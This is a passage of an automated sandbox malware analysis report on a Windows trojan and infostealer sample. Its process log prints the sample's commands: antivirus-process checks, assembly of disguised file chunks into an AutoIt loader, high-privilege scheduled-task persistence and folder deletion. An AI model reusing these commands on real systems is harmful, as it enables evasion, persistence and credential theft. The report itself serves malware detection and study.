Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00030BE0	11_2_00030BE0
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000A0C7F	11_2_000A0C7F
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004CC81	11_2_0004CC81
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00088CB1	11_2_00088CB1
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00056F16	11_2_00056F16
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000432E9	11_2_000432E9
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004F339	11_2_0004F339
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0003D457	11_2_0003D457
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0003F57E	11_2_0003F57E
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000415E4	11_2_000415E4
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00021663	11_2_00021663
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0002F6A0	11_2_0002F6A0
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000477F3	11_2_000477F3
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004DAD5	11_2_0004DAD5
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00041AD8	11_2_00041AD8
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00059C15	11_2_00059C15
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0003DD14	11_2_0003DD14
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00041EF0	11_2_00041EF0
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004BF06	11_2_0004BF06
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_0040497C	16_2_0040497C
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00406ED2	16_2_00406ED2
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_004074BB	16_2_004074BB
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0034B020	38_2_0034B020
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003494E0	38_2_003494E0
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00349C80	38_2_00349C80
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003C81C8	38_2_003C81C8
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00362325	38_2_00362325
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00376432	38_2_00376432
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0037258E	38_2_0037258E
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0034E6F0	38_2_0034E6F0
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036275A	38_2_0036275A
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003C0802	38_2_003C0802
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003788EF	38_2_003788EF
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003769A4	38_2_003769A4
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0039EB95	38_2_0039EB95
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00350BE0	38_2_00350BE0
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003C0C7F	38_2_003C0C7F
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A8CB1	38_2_003A8CB1
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036CC81	38_2_0036CC81
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00376F16	38_2_00376F16
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003632E9	38_2_003632E9
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036F339	38_2_0036F339
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0035D457	38_2_0035D457
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0035F57E	38_2_0035F57E
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003615E4	38_2_003615E4
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00341663	38_2_00341663
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0034F6A0	38_2_0034F6A0
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003677F3	38_2_003677F3
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036DAD5	38_2_0036DAD5
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00361AD8	38_2_00361AD8
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00379C15	38_2_00379C15
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0035DD14	38_2_0035DD14
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00361EF0	38_2_00361EF0
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036BF06	38_2_0036BF06

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: String function: 00031A36 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: String function: 00048A60 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: String function: 00040C42 appears 70 times
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: String function: 00368A60 appears 42 times
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: String function: 00351A36 appears 34 times
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: String function: 00360C42 appears 70 times
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: String function: 004062A3 appears 57 times
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: String function: 004062A3 appears 57 times

Source: mg9LPWGtPB.exe

Static PE information: invalid certificate

Source: mg9LPWGtPB.exe, 00000000.00000002.2030640385.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs mg9LPWGtPB.exe
Source: mg9LPWGtPB.exe, 00000000.00000003.2014471927.0000000002911000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs mg9LPWGtPB.exe

Source: mg9LPWGtPB.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@64/93@6/7

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0008A51A GetLastError,FormatMessageW,

11_2_0008A51A

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00078BCC AdjustTokenPrivileges,CloseHandle,	11_2_00078BCC
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0007917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_0007917C
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00398BCC AdjustTokenPrivileges,CloseHandle,	38_2_00398BCC
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0039917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	38_2_0039917C

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00083FB5 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,

11_2_00083FB5

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_000842AA __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

11_2_000842AA

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199735694209[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4196:120:WilError_03

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

File created: C:\Users\user\AppData\Local\Temp\nsl9E55.tmp

Jump to behavior

Source: mg9LPWGtPB.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: tasklist.exe, 00000013.00000002.3071451041.0000000002F10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Processh=3y;
Source: KKFBFC.11.dr, IJECAE.11.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: mg9LPWGtPB.exe

ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

File read: C:\Users\user\Desktop\mg9LPWGtPB.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\mg9LPWGtPB.exe "C:\Users\user\Desktop\mg9LPWGtPB.exe"
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 787041
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SenatorsRamAspectYounger" Boat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Buffalo + Sims + Imagine 787041\l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\787041\Hist.pif 787041\Hist.pif 787041\l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process created: C:\ProgramData\EHIJJDGDHD.exe "C:\ProgramData\EHIJJDGDHD.exe"
Source: C:\ProgramData\EHIJJDGDHD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDAFIEHIEGDH" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 661592
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RECEIVEFILLMEDIAEVALUATING" Natural
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Saturn + Demonstrated + Preceding + Eagles + Salon + Grows + Featured 661592\h
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\661592\Bk.pif 661592\Bk.pif 661592\h
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 787041	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SenatorsRamAspectYounger" Boat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Buffalo + Sims + Imagine 787041\l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\787041\Hist.pif 787041\Hist.pif 787041\l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process created: C:\ProgramData\EHIJJDGDHD.exe "C:\ProgramData\EHIJJDGDHD.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDAFIEHIEGDH" & exit	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 661592	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RECEIVEFILLMEDIAEVALUATING" Natural	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Saturn + Demonstrated + Preceding + Eagles + Salon + Grows + Featured 661592\h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\661592\Bk.pif 661592\Bk.pif 661592\h	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
